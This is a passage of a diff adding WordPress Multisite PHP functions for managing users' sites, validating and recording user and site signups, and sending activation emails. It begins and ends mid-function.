+		return $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_pass FROM $wpdb->users AS u, $wpdb->sitemeta AS sm WHERE sm.meta_key = 'admin_user_id' AND u.ID = sm.meta_value AND sm.site_id = %d", $site_id ), ARRAY_A );
+
+	return false;
+}
+
+/**
+ * Get one of a user's active blogs
+ *
+ * Returns the user's primary blog, if they have one and
+ * it is active. If it's inactive, function returns another
+ * active blog of the user. If none are found, the user
+ * is added as a Subscriber to the Dashboard Blog and that blog
+ * is returned.
+ *
+ * @since MU 1.0
+ *
+ * @param int $user_id The unique ID of the user
+ * @return object The blog object
+ */
+function get_active_blog_for_user( $user_id ) {
+	global $wpdb;
+	$blogs = get_blogs_of_user( $user_id );
+	if ( empty( $blogs ) )
+		return null;
+
+	if ( !is_multisite() )
+		return $blogs[$wpdb->blogid];
+
+	$primary_blog = get_user_meta( $user_id, 'primary_blog', true );
+	$first_blog = current($blogs);
+	if ( false !== $primary_blog ) {
+		if ( ! isset( $blogs[ $primary_blog ] ) ) {
+			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
+			$primary = get_blog_details( $first_blog->userblog_id );
+		} else {
+			$primary = get_blog_details( $primary_blog );
+		}
+	} else {
+		//TODO Review this call to add_user_to_blog too - to get here the user must have a role on this blog?
+		add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' );
+		update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
+		$primary = $first_blog;
+	}
+
+	if ( ( ! is_object( $primary ) ) || ( $primary->archived == 1 || $primary->spam == 1 || $primary->deleted == 1 ) ) {
+		$blogs = get_blogs_of_user( $user_id, true ); // if a user's primary blog is shut down, check their other blogs.
+		$ret = false;
+		if ( is_array( $blogs ) && count( $blogs ) > 0 ) {
+			foreach ( (array) $blogs as $blog_id => $blog ) {
+				if ( $blog->site_id != $wpdb->siteid )
+					continue;
+				$details = get_blog_details( $blog_id );
+				if ( is_object( $details ) && $details->archived == 0 && $details->spam == 0 && $details->deleted == 0 ) {
+					$ret = $blog;
+					if ( get_user_meta( $user_id , 'primary_blog', true ) != $blog_id )
+						update_user_meta( $user_id, 'primary_blog', $blog_id );
+					if ( !get_user_meta($user_id , 'source_domain', true) )
+						update_user_meta( $user_id, 'source_domain', $blog->domain );
+					break;
+				}
+			}
+		} else {
+			return null;
+		}
+		return $ret;
+	} else {
+		return $primary;
+	}
+}
+
+/**
+ * The number of active users in your installation.
+ *
+ * The count is cached and updated twice daily. This is not a live count.
+ *
+ * @since MU 2.7
+ *
+ * @return int
+ */
+function get_user_count() {
+	return get_site_option( 'user_count' );
+}
+
+/**
+ * The number of active sites on your installation.
+ *
+ * The count is cached and updated twice daily. This is not a live count.
+ *
+ * @since MU 1.0
+ *
+ * @param int $network_id Deprecated, not supported.
+ * @return int
+ */
+function get_blog_count( $network_id = 0 ) {
+	if ( func_num_args() )
+		_deprecated_argument( __FUNCTION__, '3.1' );
+
+	return get_site_option( 'blog_count' );
+}
+
+/**
+ * Get a blog post from any site on the network.
+ *
+ * @since MU 1.0
+ *
+ * @param int $blog_id ID of the blog.
+ * @param int $post_id ID of the post you're looking for.
+ * @return WP_Post|null WP_Post on success or null on failure
+ */
+function get_blog_post( $blog_id, $post_id ) {
+	switch_to_blog( $blog_id );
+	$post = get_post( $post_id );
+	restore_current_blog();
+
+	return $post;
+}
+
+/**
+ * Add a user to a blog.
+ *
+ * Use the 'add_user_to_blog' action to fire an event when
+ * users are added to a blog.
+ *
+ * @since MU 1.0
+ *
+ * @param int $blog_id ID of the blog you're adding the user to.
+ * @param int $user_id ID of the user you're adding.
+ * @param string $role The role you want the user to have
+ * @return bool
+ */
+function add_user_to_blog( $blog_id, $user_id, $role ) {
+	switch_to_blog($blog_id);
+
+	$user = get_userdata( $user_id );
+
+	if ( ! $user ) {
+		restore_current_blog();
+		return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) );
+	}
+
+	if ( !get_user_meta($user_id, 'primary_blog', true) ) {
+		update_user_meta($user_id, 'primary_blog', $blog_id);
+		$details = get_blog_details($blog_id);
+		update_user_meta($user_id, 'source_domain', $details->domain);
+	}
+
+	$user->set_role($role);
+
+	/**
+	 * Fires immediately after a user is added to a site.
+	 *
+	 * @since MU
+	 *
+	 * @param int    $user_id User ID.
+	 * @param string $role    User role.
+	 * @param int    $blog_id Blog ID.
+	 */
+	do_action( 'add_user_to_blog', $user_id, $role, $blog_id );
+	wp_cache_delete( $user_id, 'users' );
+	restore_current_blog();
+	return true;
+}
+
+/**
+ * Remove a user from a blog.
+ *
+ * Use the 'remove_user_from_blog' action to fire an event when
+ * users are removed from a blog.
+ *
+ * Accepts an optional $reassign parameter, if you want to
+ * reassign the user's blog posts to another user upon removal.
+ *
+ * @since MU 1.0
+ *
+ * @param int $user_id ID of the user you're removing.
+ * @param int $blog_id ID of the blog you're removing the user from.
+ * @param string $reassign Optional. A user to whom to reassign posts.
+ * @return bool
+ */
+function remove_user_from_blog($user_id, $blog_id = '', $reassign = '') {
+	global $wpdb;
+	switch_to_blog($blog_id);
+	$user_id = (int) $user_id;
+	/**
+	 * Fires before a user is removed from a site.
+	 *
+	 * @since MU
+	 *
+	 * @param int $user_id User ID.
+	 * @param int $blog_id Blog ID.
+	 */
+	do_action( 'remove_user_from_blog', $user_id, $blog_id );
+
+	// If being removed from the primary blog, set a new primary if the user is assigned
+	// to multiple blogs.
+	$primary_blog = get_user_meta($user_id, 'primary_blog', true);
+	if ( $primary_blog == $blog_id ) {
+		$new_id = '';
+		$new_domain = '';
+		$blogs = get_blogs_of_user($user_id);
+		foreach ( (array) $blogs as $blog ) {
+			if ( $blog->userblog_id == $blog_id )
+				continue;
+			$new_id = $blog->userblog_id;
+			$new_domain = $blog->domain;
+			break;
+		}
+
+		update_user_meta($user_id, 'primary_blog', $new_id);
+		update_user_meta($user_id, 'source_domain', $new_domain);
+	}
+
+	// wp_revoke_user($user_id);
+	$user = get_userdata( $user_id );
+	if ( ! $user ) {
+		restore_current_blog();
+		return new WP_Error('user_does_not_exist', __('That user does not exist.'));
+	}
+
+	$user->remove_all_caps();
+
+	$blogs = get_blogs_of_user($user_id);
+	if ( count($blogs) == 0 ) {
+		update_user_meta($user_id, 'primary_blog', '');
+		update_user_meta($user_id, 'source_domain', '');
+	}
+
+	if ( $reassign != '' ) {
+		$reassign = (int) $reassign;
+		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) );
+		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) );
+
+		if ( ! empty( $post_ids ) ) {
+			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) );
+			array_walk( $post_ids, 'clean_post_cache' );
+		}
+
+		if ( ! empty( $link_ids ) ) {
+			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) );
+			array_walk( $link_ids, 'clean_bookmark_cache' );
+		}
+	}
+
+	restore_current_blog();
+
+	return true;
+}
+
+/**
+ * Create an empty blog.
+ *
+ * @since MU 1.0
+ *
+ * @param string $domain The new blog's domain.
+ * @param string $path The new blog's path.
+ * @param string $weblog_title The new blog's title.
+ * @param int $site_id Optional. Defaults to 1.
+ * @return int The ID of the newly created blog
+ */
+function create_empty_blog( $domain, $path, $weblog_title, $site_id = 1 ) {
+	if ( empty($path) )
+		$path = '/';
+
+	// Check if the domain has been used already. We should return an error message.
+	if ( domain_exists($domain, $path, $site_id) )
+		return __( '<strong>ERROR</strong>: Site URL already taken.' );
+
+	// Need to back up wpdb table names, and create a new wp_blogs entry for new blog.
+	// Need to get blog_id from wp_blogs, and create new table names.
+	// Must restore table names at the end of function.
+
+	if ( ! $blog_id = insert_blog($domain, $path, $site_id) )
+		return __( '<strong>ERROR</strong>: problem creating site entry.' );
+
+	switch_to_blog($blog_id);
+	install_blog($blog_id);
+	restore_current_blog();
+
+	return $blog_id;
+}
+
+/**
+ * Get the permalink for a post on another blog.
+ *
+ * @since MU 1.0
+ *
+ * @param int $blog_id ID of the source blog.
+ * @param int $post_id ID of the desired post.
+ * @return string The post's permalink
+ */
+function get_blog_permalink( $blog_id, $post_id ) {
+	switch_to_blog( $blog_id );
+	$link = get_permalink( $post_id );
+	restore_current_blog();
+
+	return $link;
+}
+
+/**
+ * Get a blog's numeric ID from its URL.
+ *
+ * On a subdirectory installation like example.com/blog1/,
+ * $domain will be the root 'example.com' and $path the
+ * subdirectory '/blog1/'. With subdomains like blog1.example.com,
+ * $domain is 'blog1.example.com' and $path is '/'.
+ *
+ * @since MU 2.6.5
+ *
+ * @param string $domain
+ * @param string $path Optional. Not required for subdomain installations.
+ * @return int 0 if no blog found, otherwise the ID of the matching blog
+ */
+function get_blog_id_from_url( $domain, $path = '/' ) {
+	global $wpdb;
+
+	$domain = strtolower( $domain );
+	$path = strtolower( $path );
+	$id = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' );
+
+	if ( $id == -1 ) // blog does not exist
+		return 0;
+	elseif ( $id )
+		return (int) $id;
+
+	$id = $wpdb->get_var( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE domain = %s and path = %s /* get_blog_id_from_url */", $domain, $path ) );
+
+	if ( ! $id ) {
+		wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' );
+		return 0;
+	}
+
+	wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' );
+
+	return $id;
+}
+
+// Admin functions
+
+/**
+ * Checks an email address against a list of banned domains.
+ *
+ * This function checks against the Banned Email Domains list
+ * at wp-admin/network/settings.php. The check is only run on
+ * self-registrations; user creation at wp-admin/network/users.php
+ * bypasses this check.
+ *
+ * @since MU
+ *
+ * @param string $user_email The email provided by the user at registration.
+ * @return bool Returns true when the email address is banned.
+ */
+function is_email_address_unsafe( $user_email ) {
+	$banned_names = get_site_option( 'banned_email_domains' );
+	if ( $banned_names && ! is_array( $banned_names ) )
+		$banned_names = explode( "\n", $banned_names );
+
+	$is_email_address_unsafe = false;
+
+	if ( $banned_names && is_array( $banned_names ) ) {
+		$banned_names = array_map( 'strtolower', $banned_names );
+		$normalized_email = strtolower( $user_email );
+
+		list( $email_local_part, $email_domain ) = explode( '@', $normalized_email );
+
+		foreach ( $banned_names as $banned_domain ) {
+			if ( ! $banned_domain )
+				continue;
+
+			if ( $email_domain == $banned_domain ) {
+				$is_email_address_unsafe = true;
+				break;
+			}
+
+			$dotted_domain = ".$banned_domain";
+			if ( $dotted_domain === substr( $normalized_email, -strlen( $dotted_domain ) ) ) {
+				$is_email_address_unsafe = true;
+				break;
+			}
+		}
+	}
+
+	/**
+	 * Filter whether an email address is unsafe.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param bool   $is_email_address_unsafe Whether the email address is "unsafe". Default false.
+	 * @param string $user_email              User email address.
+	 */
+	return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email );
+}
+
+/**
+ * Processes new user registrations.
+ *
+ * Checks the data provided by the user during signup. Verifies
+ * the validity and uniqueness of user names and user email addresses,
+ * and checks email addresses against admin-provided domain
+ * whitelists and blacklists.
+ *
+ * The hook 'wpmu_validate_user_signup' provides an easy way
+ * to modify the signup process. The value $result, which is passed
+ * to the hook, contains both the user-provided info and the error
+ * messages created by the function. 'wpmu_validate_user_signup' allows
+ * you to process the data in any way you'd like, and unset the
+ * relevant errors if necessary.
+ *
+ * @since MU
+ *
+ * @param string $user_name The login name provided by the user.
+ * @param string $user_email The email provided by the user.
+ * @return array Contains username, email, and error messages.
+ */
+function wpmu_validate_user_signup($user_name, $user_email) {
+	global $wpdb;
+
+	$errors = new WP_Error();
+
+	$orig_username = $user_name;
+	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );
+
+	if ( $user_name != $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) {
+		$errors->add( 'user_name', __( 'Only lowercase letters (a-z) and numbers are allowed.' ) );
+		$user_name = $orig_username;
+	}
+
+	$user_email = sanitize_email( $user_email );
+
+	if ( empty( $user_name ) )
+	   	$errors->add('user_name', __( 'Please enter a username.' ) );
+
+	$illegal_names = get_site_option( 'illegal_names' );
+	if ( is_array( $illegal_names ) == false ) {
+		$illegal_names = array(  'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
+		add_site_option( 'illegal_names', $illegal_names );
+	}
+	if ( in_array( $user_name, $illegal_names ) == true )
+		$errors->add('user_name',  __( 'That username is not allowed.' ) );
+
+	if ( is_email_address_unsafe( $user_email ) )
+		$errors->add('user_email',  __('You cannot use that email address to signup. We are having problems with them blocking some of our email. Please use another email provider.'));
+
+	if ( strlen( $user_name ) < 4 )
+		$errors->add('user_name',  __( 'Username must be at least 4 characters.' ) );
+
+	if ( strpos( ' ' . $user_name, '_' ) != false )
+		$errors->add( 'user_name', __( 'Sorry, usernames may not contain the character &#8220;_&#8221;!' ) );
+
+	// all numeric?
+	if ( preg_match( '/^[0-9]*$/', $user_name ) )
+		$errors->add('user_name', __('Sorry, usernames must have letters too!'));
+
+	if ( !is_email( $user_email ) )
+		$errors->add('user_email', __( 'Please enter a valid email address.' ) );
+
+	$limited_email_domains = get_site_option( 'limited_email_domains' );
+	if ( is_array( $limited_email_domains ) && empty( $limited_email_domains ) == false ) {
+		$emaildomain = substr( $user_email, 1 + strpos( $user_email, '@' ) );
+		if ( in_array( $emaildomain, $limited_email_domains ) == false )
+			$errors->add('user_email', __('Sorry, that email address is not allowed!'));
+	}
+
+	// Check if the username has been used already.
+	if ( username_exists($user_name) )
+		$errors->add( 'user_name', __( 'Sorry, that username already exists!' ) );
+
+	// Check if the email address has been used already.
+	if ( email_exists($user_email) )
+		$errors->add( 'user_email', __( 'Sorry, that email address is already used!' ) );
+
+	// Has someone already signed up for this username?
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name) );
+	if ( $signup != null ) {
+		$registered_at =  mysql2date('U', $signup->registered);
+		$now = current_time( 'timestamp', true );
+		$diff = $now - $registered_at;
+		// If registered more than two days ago, cancel registration and let this signup go through.
+		if ( $diff > 2 * DAY_IN_SECONDS )
+			$wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) );
+		else
+			$errors->add('user_name', __('That username is currently reserved but may be available in a couple of days.'));
+	}
+
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email) );
+	if ( $signup != null ) {
+		$diff = current_time( 'timestamp', true ) - mysql2date('U', $signup->registered);
+		// If registered more than two days ago, cancel registration and let this signup go through.
+		if ( $diff > 2 * DAY_IN_SECONDS )
+			$wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) );
+		else
+			$errors->add('user_email', __('That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing.'));
+	}
+
+	$result = array('user_name' => $user_name, 'orig_username' => $orig_username, 'user_email' => $user_email, 'errors' => $errors);
+
+	/**
+	 * Filter the validated user registration details.
+	 *
+	 * This does not allow you to override the username or email of the user during
+	 * registration. The values are solely used for validation and error handling.
+	 *
+	 * @since MU
+	 *
+	 * @param array $result {
+	 *     The array of user name, email and the error messages.
+	 *
+	 *     @type string   $user_name     Sanitized and unique username.
+	 *     @type string   $orig_username Original username.
+	 *     @type string   $user_email    User email address.
+	 *     @type WP_Error $errors        WP_Error object containing any errors found.
+	 * }
+	 */
+	return apply_filters( 'wpmu_validate_user_signup', $result );
+}
+
+/**
+ * Processes new site registrations.
+ *
+ * Checks the data provided by the user during blog signup. Verifies
+ * the validity and uniqueness of blog paths and domains.
+ *
+ * This function prevents the current user from registering a new site
+ * with a blogname equivalent to another user's login name. Passing the
+ * $user parameter to the function, where $user is the other user, is
+ * effectively an override of this limitation.
+ *
+ * Filter 'wpmu_validate_blog_signup' if you want to modify
+ * the way that WordPress validates new site signups.
+ *
+ * @since MU
+ *
+ * @param string $blogname The blog name provided by the user. Must be unique.
+ * @param string $blog_title The blog title provided by the user.
+ * @return array Contains the new site data and error messages.
+ */
+function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) {
+	global $wpdb, $domain;
+
+	$current_site = get_current_site();
+	$base = $current_site->path;
+
+	$blog_title = strip_tags( $blog_title );
+	$blog_title = substr( $blog_title, 0, 50 );
+
+	$errors = new WP_Error();
+	$illegal_names = get_site_option( 'illegal_names' );
+	if ( $illegal_names == false ) {
+		$illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
+		add_site_option( 'illegal_names', $illegal_names );
+	}
+
+	/*
+	 * On sub dir installs, some names are so illegal, only a filter can
+	 * spring them from jail.
+	 */
+	if ( ! is_subdomain_install() ) {
+		$illegal_names = array_merge(
+			$illegal_names,
+			/**
+			 * Filter reserved site names on a sub-directory Multisite install.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param array $subdirectory_reserved_names Array of reserved names.
+			 */
+			apply_filters( 'subdirectory_reserved_names', array( 'page', 'comments', 'blog', 'files', 'feed' ) )
+		);
+	}
+
+	if ( empty( $blogname ) )
+		$errors->add('blogname', __( 'Please enter a site name.' ) );
+
+	if ( preg_match( '/[^a-z0-9]+/', $blogname ) )
+		$errors->add('blogname', __( 'Only lowercase letters (a-z) and numbers are allowed.' ) );
+
+	if ( in_array( $blogname, $illegal_names ) == true )
+		$errors->add('blogname',  __( 'That name is not allowed.' ) );
+
+	if ( strlen( $blogname ) < 4 && !is_super_admin() )
+		$errors->add('blogname',  __( 'Site name must be at least 4 characters.' ) );
+
+	if ( strpos( $blogname, '_' ) !== false )
+		$errors->add( 'blogname', __( 'Sorry, site names may not contain the character &#8220;_&#8221;!' ) );
+
+	// do not allow users to create a blog that conflicts with a page on the main blog.
+	if ( !is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( "SELECT post_name FROM " . $wpdb->get_blog_prefix( $current_site->blog_id ) . "posts WHERE post_type = 'page' AND post_name = %s", $blogname ) ) )
+		$errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) );
+
+	// all numeric?
+	if ( preg_match( '/^[0-9]*$/', $blogname ) )
+		$errors->add('blogname', __('Sorry, site names must have letters too!'));
+
+	/**
+	 * Filter the new site name during registration.
+	 *
+	 * The name is the site's subdomain or the site's subdirectory
+	 * path depending on the network settings.
+	 *
+	 * @since MU
+	 *
+	 * @param string $blogname Site name.
+	 */
+	$blogname = apply_filters( 'newblogname', $blogname );
+
+	$blog_title = wp_unslash(  $blog_title );
+
+	if ( empty( $blog_title ) )
+		$errors->add('blog_title', __( 'Please enter a site title.' ) );
+
+	// Check if the domain/path has been used already.
+	if ( is_subdomain_install() ) {
+		$mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain );
+		$path = $base;
+	} else {
+		$mydomain = "$domain";
+		$path = $base.$blogname.'/';
+	}
+	if ( domain_exists($mydomain, $path, $current_site->id) )
+		$errors->add( 'blogname', __( 'Sorry, that site already exists!' ) );
+
+	if ( username_exists( $blogname ) ) {
+		if ( is_object( $user ) == false || ( is_object($user) && ( $user->user_login != $blogname ) ) )
+			$errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) );
+	}
+
+	// Has someone already signed up for this domain?
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path) ); // TODO: Check email too?
+	if ( ! empty($signup) ) {
+		$diff = current_time( 'timestamp', true ) - mysql2date('U', $signup->registered);
+		// If registered more than two days ago, cancel registration and let this signup go through.
+		if ( $diff > 2 * DAY_IN_SECONDS )
+			$wpdb->delete( $wpdb->signups, array( 'domain' => $mydomain , 'path' => $path ) );
+		else
+			$errors->add('blogname', __('That site is currently reserved but may be available in a couple days.'));
+	}
+
+	$result = array('domain' => $mydomain, 'path' => $path, 'blogname' => $blogname, 'blog_title' => $blog_title, 'user' => $user, 'errors' => $errors);
+
+	/**
+	 * Filter site details and error messages following registration.
+	 *
+	 * @since MU
+	 *
+	 * @param array $result {
+	 *     Array of domain, path, blog name, blog title, user and error messages.
+	 *
+	 *     @type string   $domain     Domain for the site.
+	 *     @type string   $path       Path for the site. Used in subdirectory installs.
+	 *     @type string   $blogname   The unique site name (slug).
+	 *     @type string   $blog_title Blog title.
+	 *     @type string   $user       User email address.
+	 *     @type WP_Error $errors     WP_Error containing any errors found.
+	 * }
+	 */
+	return apply_filters( 'wpmu_validate_blog_signup', $result );
+}
+
+/**
+ * Record site signup information for future activation.
+ *
+ * @since MU
+ *
+ * @param string $domain The requested domain.
+ * @param string $path The requested path.
+ * @param string $title The requested site title.
+ * @param string $user The user's requested login name.
+ * @param string $user_email The user's email address.
+ * @param array $meta By default, contains the requested privacy setting and lang_id.
+ */
+function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() )  {
+	global $wpdb;
+
+	$key = substr( md5( time() . rand() . $domain ), 0, 16 );
+	$meta = serialize($meta);
+
+	$wpdb->insert( $wpdb->signups, array(
+		'domain' => $domain,
+		'path' => $path,
+		'title' => $title,
+		'user_login' => $user,
+		'user_email' => $user_email,
+		'registered' => current_time('mysql', true),
+		'activation_key' => $key,
+		'meta' => $meta
+	) );
+
+	wpmu_signup_blog_notification($domain, $path, $title, $user, $user_email, $key, $meta);
+}
+
+/**
+ * Record user signup information for future activation.
+ *
+ * This function is used when user registration is open but
+ * new site registration is not.
+ *
+ * @since MU
+ *
+ * @param string $user The user's requested login name.
+ * @param string $user_email The user's email address.
+ * @param array $meta By default, this is an empty array.
+ */
+function wpmu_signup_user( $user, $user_email, $meta = array() ) {
+	global $wpdb;
+
+	// Format data
+	$user = preg_replace( '/\s+/', '', sanitize_user( $user, true ) );
+	$user_email = sanitize_email( $user_email );
+	$key = substr( md5( time() . rand() . $user_email ), 0, 16 );
+	$meta = serialize($meta);
+
+	$wpdb->insert( $wpdb->signups, array(
+		'domain' => '',
+		'path' => '',
+		'title' => '',
+		'user_login' => $user,
+		'user_email' => $user_email,
+		'registered' => current_time('mysql', true),
+		'activation_key' => $key,
+		'meta' => $meta
+	) );
+
+	wpmu_signup_user_notification($user, $user_email, $key, $meta);
+}
+
+/**
+ * Notify user of signup success.
+ *
+ * This is the notification function used when site registration
+ * is enabled.
+ *
+ * Filter 'wpmu_signup_blog_notification' to bypass this function or
+ * replace it with your own notification behavior.
+ *
+ * Filter 'wpmu_signup_blog_notification_email' and
+ * 'wpmu_signup_blog_notification_subject' to change the content
+ * and subject line of the email sent to newly registered users.
+ *
+ * @since MU
+ *
+ * @param string $domain The new blog domain.
+ * @param string $path The new blog path.
+ * @param string $title The site title.
+ * @param string $user The user's login name.
+ * @param string $user_email The user's email address.
+ * @param string $key The activation key created in wpmu_signup_blog()
+ * @param array $meta By default, contains the requested privacy setting and lang_id.
+ * @return bool
+ */
+function wpmu_signup_blog_notification( $domain, $path, $title, $user, $user_email, $key, $meta = array() ) {
+	/**
+	 * Filter whether to bypass the new site email notification.
+	 *
+	 * @since MU
+	 *
+	 * @param string|bool $domain     Site domain.
+	 * @param string      $path       Site path.
+	 * @param string      $title      Site title.
+	 * @param string      $user       User login name.
+	 * @param string      $user_email User email address.
+	 * @param string      $key        Activation key created in wpmu_signup_blog().
+	 * @param array       $meta       By default, contains the requested privacy setting and lang_id.
+	 */
+	if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user, $user_email, $key, $meta ) ) {
+		return false;
+	}
+
+	// Send email with activation link.
+	if ( !is_subdomain_install() || get_current_site()->id != 1 )
+		$activate_url = network_site_url("wp-activate.php?key=$key");
+	else
+		$activate_url = "http://{$domain}{$path}wp-activate.php?key=$key"; // @todo use *_url() API
+
+	$activate_url = esc_url($activate_url);
+	$admin_email = get_site_option( 'admin_email' );
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = sprintf(
+		/**
+		 * Filter the message content of the new blog notification email.
+		 *
+		 * Content should be formatted for transmission via wp_mail().
+		 *
+		 * @since MU
+		 *
+		 * @param string $content    Content of the notification email.
+		 * @param string $domain     Site domain.
+		 * @param string $path       Site path.
+		 * @param string $title      Site title.
+		 * @param string $user       User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_blog().
+		 * @param array  $meta       By default, contains the requested privacy setting and lang_id.
+		 */
+		apply_filters( 'wpmu_signup_blog_notification_email',
+			__( "To activate your blog, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%s" ),
+			$domain, $path, $title, $user, $user_email, $key, $meta
+		),
+		$activate_url,
+		esc_url( "http://{$domain}{$path}" ),
+		$key
+	);
+	// TODO: Don't hard code activation link.
+	$subject = sprintf(
+		/**
+		 * Filter the subject of the new blog notification email.
+		 *
+		 * @since MU
+		 *
+		 * @param string $subject    Subject of the notification email.
+		 * @param string $domain     Site domain.
+		 * @param string $path       Site path.
+		 * @param string $title      Site title.
+		 * @param string $user       User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_blog().
+		 * @param array  $meta       By default, contains the requested privacy setting and lang_id.
+		 */
+		apply_filters( 'wpmu_signup_blog_notification_subject',
+			__( '[%1$s] Activate %2$s' ),
+			$domain, $path, $title, $user, $user_email, $key, $meta
+		),
+		$from_name,
+		esc_url( 'http://' . $domain . $path )
+	);
+	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+	return true;
+}
+
+/**
+ * Notify user of signup success.
+ *
+ * This is the notification function used when no new site has
+ * been requested.
+ *
+ * Filter 'wpmu_signup_user_notification' to bypass this function or
+ * replace it with your own notification behavior.
+ *
+ * Filter 'wpmu_signup_user_notification_email' and
+ * 'wpmu_signup_user_notification_subject' to change the content
+ * and subject line of the email sent to newly registered users.
+ *
+ * @since MU
+ *
+ * @param string $user The user's login name.
+ * @param string $user_email The user's email address.
+ * @param string $key The activation key created in wpmu_signup_user()
+ * @param array $meta By default, an empty array.
+ * @return bool
+ */
+function wpmu_signup_user_notification( $user, $user_email, $key, $meta = array() ) {
+	/**
+	 * Filter whether to bypass the email notification for new user sign-up.
+	 *
+	 * @since MU
+	 *
+	 * @param string $user       User login name.
+	 * @param string $user_email User email address.
+	 * @param string $key        Activation key created in wpmu_signup_user().
+	 * @param array  $meta       Signup meta data.
+	 */
+	if ( ! apply_filters( 'wpmu_signup_user_notification', $user, $user_email, $key, $meta ) )
+		return false;
+
+	// Send email with activation link.
+	$admin_email = get_site_option( 'admin_email' );
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = sprintf(
+		/**
+		 * Filter the content of the notification email for new user sign-up.
+		 *
+		 * Content should be formatted for transmission via wp_mail().
+		 *
+		 * @since MU
+		 *
+		 * @param string $content    Content of the notification email.
+		 * @param string $user       User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_user().
+		 * @param array  $meta       Signup meta data.
+		 */
+		apply_filters( 'wpmu_signup_user_notification_email',
+			__( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ),
+			$user, $user_email, $key, $meta
+		),
+		site_url( "wp-activate.php?key=$key" )
+	);
+	// TODO: Don't hard code activation link.
+	$subject = sprintf(
+		/**
+		 * Filter the subject of the notification email of new user signup.
+		 *
+		 * @since MU
+		 *
+		 * @param string $subject    Subject of the notification email.
+		 * @param string $user       User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_user().
+		 * @param array  $meta       Signup meta data.
+		 */
+		apply_filters( 'wpmu_signup_user_notification_subject',
+			__( '[%1$s] Activate %2$s' ),
+			$user, $user_email, $key, $meta
+		),
+		$from_name,
+		$user
+	);
+	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+	return true;
+}
+
+/**
+ * Activate a signup.
+ *
+ * Hook to 'wpmu_activate_user' or 'wpmu_activate_blog' for events
+ * that should happen only when users or sites are self-created (since
+ * those actions are not called when users and sites are created
+ * by a Super Admin).
+ *
+ * @since MU
+ *
+ * @param string $key The activation key provided to the user.
+ * @return array An array containing information about the activated user and/or blog
+ */
+function wpmu_activate_signup($key) {
+	global $wpdb;
+
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key) );
+
+	if ( empty( $signup ) )
+		return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) );
+
+	if ( $signup->active ) {
+		if ( empty( $signup->domain ) )
+			return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup );
+		else
+			return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup );
+	}
+
+	$meta = maybe_unserialize($signup->meta);
+	$password = wp_generate_password( 12, false );
+
+	$user_id = username_exists($signup->user_login);
+
+	if ( ! $user_id )
+		$user_id = wpmu_create_user($signup->user_login, $password, $signup->user_email);
+	else
+		$user_already_exists = true;
+
+	if ( ! $user_id )
+		return new WP_Error('create_user', __('Could not create user'), $signup);
+
+	$now = current_time('mysql', true);
+
